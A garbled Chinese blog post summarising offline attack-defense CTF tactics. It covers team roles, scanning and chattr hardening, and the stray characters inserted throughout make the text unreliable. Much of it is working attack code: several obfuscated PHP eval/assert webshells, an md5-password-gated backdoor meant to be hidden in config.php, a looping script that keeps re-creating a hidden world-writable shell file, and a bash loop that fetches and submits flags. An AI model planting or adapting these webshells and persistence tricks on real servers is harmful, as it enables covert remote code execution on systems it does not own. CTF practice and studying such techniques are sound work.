TF線下攻防賽總結(jié)
發(fā)表于2017-06-23|分類于CTF|熱度1783℃
本著最后一次參加線下賽艘狭,這時(shí)間安排也是讓人很無語。將這一份總結(jié)留給學(xué)弟他們,漲漲經(jīng)驗(yàn)尸执。
一張常規(guī)的CTF線下攻防思維導(dǎo)圖
兩三個(gè)人進(jìn)行分工,一個(gè)粗略的看下web缓醋,有登陸口的話如失,就需要修改密碼,將情況反饋給隊(duì)友送粱,讓登陸ssh的小伙伴進(jìn)行密碼的修改褪贵,改成炒雞復(fù)雜、然后將Web目錄下載下來,上WAF脆丁、文件監(jiān)控世舰、端口掃描。將這幾個(gè)工作分工好槽卫,順序就像圖上跟压。
tips:將下載下來的Web目錄理一遍,看是否有可疑的文件夾晒夹,比如bak裆馒。
依然記得有次比賽,有兩臺(tái)靶機(jī)丐怯,賽組提示弱口令喷好。然后每一支隊(duì)伍都奔著后臺(tái)去了,結(jié)果有隊(duì)伍在Web目錄下發(fā)現(xiàn)了這個(gè)bak目錄读跷,打開發(fā)現(xiàn)是phpmyadmin梗搅,提示的弱口令是在這里用上。
首先先理清好網(wǎng)絡(luò)拓?fù)潢P(guān)系效览,節(jié)點(diǎn)與各鏈路之間的關(guān)聯(lián)无切。這個(gè)需要下一步配合,要不然不知道對(duì)手在哪就GG丐枉。
示例:
如果是在同個(gè)C段哆键,或者B段,均可以使用RouterScan進(jìn)行對(duì)80端口掃描進(jìn)行掃描得出瘦锹,嫌麻煩的話籍嘹,就用httpscan這個(gè)小巧的腳本
千萬要記得掃端口,這很重要弯院,當(dāng)然這個(gè)端口掃描是建立在沒有自己靶機(jī)權(quán)限的情況下辱士。用nmap也行,自己寫的腳本或者網(wǎng)上找的也行听绳。
有的比賽環(huán)境颂碘,為了照顧比較菜的選手(此處舉手),預(yù)留了一句話后門椅挣。將整個(gè)web目錄下載到本地头岔,使用hm.exe、D盾或者別的掃描工具可以掃描得出(如果預(yù)留)
防御及修復(fù)建議
1.將所有的登陸口密碼進(jìn)行修改(炒雞復(fù)雜)贴妻;
2.將上傳頁面的action地址修改為*切油,(機(jī)智小能手!C汀)澎胡;
3.反序列化和命令執(zhí)行,就去seebug或其他的站點(diǎn)找補(bǔ)丁攻谁;
4.待補(bǔ)充…
控制用的一句話木馬稚伍,最好是需要菜刀配置的,這樣做是為了不讓別人輕易的利用你的一句話戚宦,要不然就只能等著別人用你的腳本撿分个曙。
簡單舉例:
連接方式:php?2=assert密碼是1。
獻(xiàn)上我常用得一句話
$a=chr(96^5);
$b=chr(57^79);
$c=chr(15^110);
$d=chr(58^86);
$e='($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>
配置為?b=))99(rhC(tseuqeR+lave
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>
配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
連接密碼:0(零)
set_time_limit(0);
ignore_user_abort(true);
$file ='.demo.php';
$shell ="";
while(true){
file_put_contents($file, $shell);
system('chmod 777 .demo.php');
usleep(50);
}
?>
tips:.demo.php前面使用一個(gè)點(diǎn)受楼,能很好的隱藏文件垦搬。
想要結(jié)束這個(gè)進(jìn)程,除了最暴力的重啟服務(wù)之外艳汽,更為優(yōu)雅的如下:
while(1) {
$pid=1234;
@unlink('demo.php');
exec('kill -9 $pid');
}
?>
先查看進(jìn)程猴贰,查看對(duì)應(yīng)的pid,再執(zhí)行即可河狐。
素質(zhì)低的人則會(huì)放置一個(gè)md5馬米绕,比如
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
@eval($_POST['cmd']);
?>
如果素質(zhì)低的人又很猥瑣,像rootrain這種就是馋艺。那就是利用header栅干,最后綜合起來就是
echo'hello';
$test='flag';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')
if(@$_SERVER['HTTP_USER_AGENT'] =='flag'){
header("flag:$test");
}
?>
放進(jìn)config.php效果最好,因?yàn)橐话愫苌偃巳タ催@個(gè)捐祠。
將uploads等文件夾使用chattr對(duì)文件底層屬性進(jìn)行控制碱鳞。
chattr命令的用法:chattr [ -RVf ] [ -v version ] [ mode ] files…
最關(guān)鍵的是在[mode]部分,[mode]部分是由+-=和[ASacDdIijsTtu]這些字符組合的踱蛀,這部分是用來控制文件的
屬性劫笙。
+ :在原有參數(shù)設(shè)定基礎(chǔ)上,追加參數(shù)星岗。
- :在原有參數(shù)設(shè)定基礎(chǔ)上,移除參數(shù)戒洼。
= :更新為指定參數(shù)設(shè)定俏橘。
A:文件或目錄的 atime (access time)不可被修改(modified), 可以有效預(yù)防例如手提電腦磁盤I/O錯(cuò)誤的發(fā)生。
S:硬盤I/O同步選項(xiàng)圈浇,功能類似sync寥掐。
a:即append,設(shè)定該參數(shù)后磷蜀,只能向文件中添加數(shù)據(jù)召耘,而不能刪除,多用于服務(wù)器日志文件安全褐隆,只有root才能設(shè)定這個(gè)屬性污它。
c:即compresse,設(shè)定文件是否經(jīng)壓縮后再存儲(chǔ)。讀取時(shí)需要經(jīng)過自動(dòng)解壓操作衫贬。
d:即no dump德澈,設(shè)定文件不能成為dump程序的備份目標(biāo)。
i:設(shè)定文件不能被刪除固惯、改名梆造、設(shè)定鏈接關(guān)系,同時(shí)不能寫入或新增內(nèi)容葬毫。i參數(shù)對(duì)于文件 系統(tǒng)的安全設(shè)置有很大幫助镇辉。
j:即journal,設(shè)定此參數(shù)使得當(dāng)通過mount參數(shù):data=ordered 或者 data=writeback 掛 載的文件系統(tǒng)贴捡,文件在寫入時(shí)會(huì)先被記錄(在journal中)忽肛。如果filesystem被設(shè)定參數(shù)為 data=journal,則該參數(shù)自動(dòng)失效栈暇。
s:保密性地刪除文件或目錄麻裁,即硬盤空間被全部收回。
u:與s相反源祈,當(dāng)設(shè)定為u時(shí)煎源,數(shù)據(jù)內(nèi)容其實(shí)還存在磁盤中,可以用于undeletion香缺。
各參數(shù)選項(xiàng)中常用到的是a和i手销。a選項(xiàng)強(qiáng)制只可添加不可刪除,多用于日志系統(tǒng)的安全設(shè)定图张。而i是更為嚴(yán)格的安全設(shè)定锋拖,只有superuser (root) 或具有CAP_LINUX_IMMUTABLE處理能力(標(biāo)識(shí))的進(jìn)程能夠施加該選項(xiàng)。
應(yīng)用舉例:
用chattr命令防止系統(tǒng)中某個(gè)關(guān)鍵文件被修改:
# chattr +i /etc/resolv.conf
上面的$shell內(nèi)容看個(gè)人祸轮,線下賽可以直接使用之類的兽埃,只是說一個(gè)點(diǎn),剩余的發(fā)揮空間由你們思考适袜。
最好能寫一個(gè)批量上傳的柄错,結(jié)合批量訪問。批量訪問參考PHP-定時(shí)任務(wù)
或者
#!/bin/bash
whiletrue
do
flag=$(curl'http://172.16.4.42:800')
curl --cookie"PHPSESSID=21il7pum6i3781pumljhv578c1; xdgame_username=%E5%B0%8F%E7%BA%A2%E5%B8%BD"--data"key="${flag}"http://172.16.4.42/index.php/wargame/submit"
sleep 1s
done
只有想不到苦酱,沒有做不到售貌。
感知可能正在發(fā)生的攻擊,從而規(guī)避存在的安全風(fēng)險(xiǎn)
應(yīng)急響應(yīng)疫萤,還原攻擊者的攻擊路徑颂跨,從而挽回已經(jīng)造成的損失
這種腳本網(wǎng)上有很多。
date_default_timezone_set('Asia/Shanghai');
$ip? ? ? = $_SERVER["REMOTE_ADDR"];//記錄訪問者的ip
$filename = $_SERVER['PHP_SELF'];//訪問者要訪問的文件名
$parameter? = $_SERVER["QUERY_STRING"];//訪問者要請(qǐng)求的參數(shù)
$time? ? =? date('Y-m-d H:i:s',time());//訪問時(shí)間
$logadd ='來訪時(shí)間:'.$time.'-->'.'訪問鏈接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";
// log記錄
$fh = fopen("log.txt","a");
fwrite($fh, $logadd);
fclose($fh);
?>
LogForensics 騰訊實(shí)驗(yàn)室
https://security.tencent.com/index.php/opensource/detail/15
北風(fēng)飄然@金烏網(wǎng)絡(luò)安全實(shí)驗(yàn)室
http://www.freebuf.com/sectool/126698.html
網(wǎng)絡(luò)ID為piaox的安全從業(yè)人員:
http://www.freebuf.com/sectool/110644.html
網(wǎng)絡(luò)ID:SecSky
http://www.freebuf.com/sectool/8982.html
網(wǎng)絡(luò)ID:鬼魅羊羔
http://www.freebuf.com/articles/web/96675.html
首先扯饶,CTF題是信息安全得基本概念恒削,攻防技術(shù)池颈、技巧得濃縮和提煉。通過解題蔓同,會(huì)快速掌握題目中所包含得概念和技術(shù)點(diǎn)饶辙,而這些知識(shí)在真實(shí)得環(huán)境中可能比較分散,難以學(xué)習(xí)斑粱,高水平得CTF都是由業(yè)內(nèi)專家命題弃揽,往往凝聚著他們多年積累出來的技能。
其次则北,CTF題注重實(shí)際操作矿微,并與基礎(chǔ)理論知識(shí)相結(jié)合。每道CTF都需要實(shí)際動(dòng)手才能找到答案尚揣,并且在比賽中經(jīng)常要拼速度涌矢,這對(duì)攻防操作得能力會(huì)有極高的鍛煉。除此之外快骗,高質(zhì)量得CTF題都沒法直接使用現(xiàn)成工具解出娜庇,一般需要在理解基本原理的基礎(chǔ)上,自己編寫代碼來求解方篮,這個(gè)過程會(huì)加深和鞏固計(jì)算機(jī)基礎(chǔ)知識(shí)得理解名秀。
最后,CTF能夠給不能層次的人在技術(shù)上帶來提高藕溅。沒有網(wǎng)絡(luò)信息安全基礎(chǔ)的學(xué)生通過CTF匕得,建立了安全攻防的概念;有初步基礎(chǔ)的學(xué)生巾表,通過高質(zhì)量賽題的實(shí)踐練習(xí)汁掠,提升了實(shí)戰(zhàn)能力;已經(jīng)學(xué)有所成的學(xué)生集币,通過國際CTF大賽和國際強(qiáng)隊(duì)比拼考阱,開闊了視野。
雖然ctf涉及到的知識(shí)點(diǎn)面非常的全面鞠苟。但是在實(shí)際應(yīng)用中羔砾,在自己所選擇的方向上給予不了多大的幫助。
只因?yàn)镃TF環(huán)境太過于理想化(當(dāng)然是我水平問題偶妖,做不來大的CTF賽題),因?yàn)榭傆蟹椒梢阅玫絝lag政溃,在實(shí)操上趾访,遇到瓶頸,要考慮的東西就多了董虱。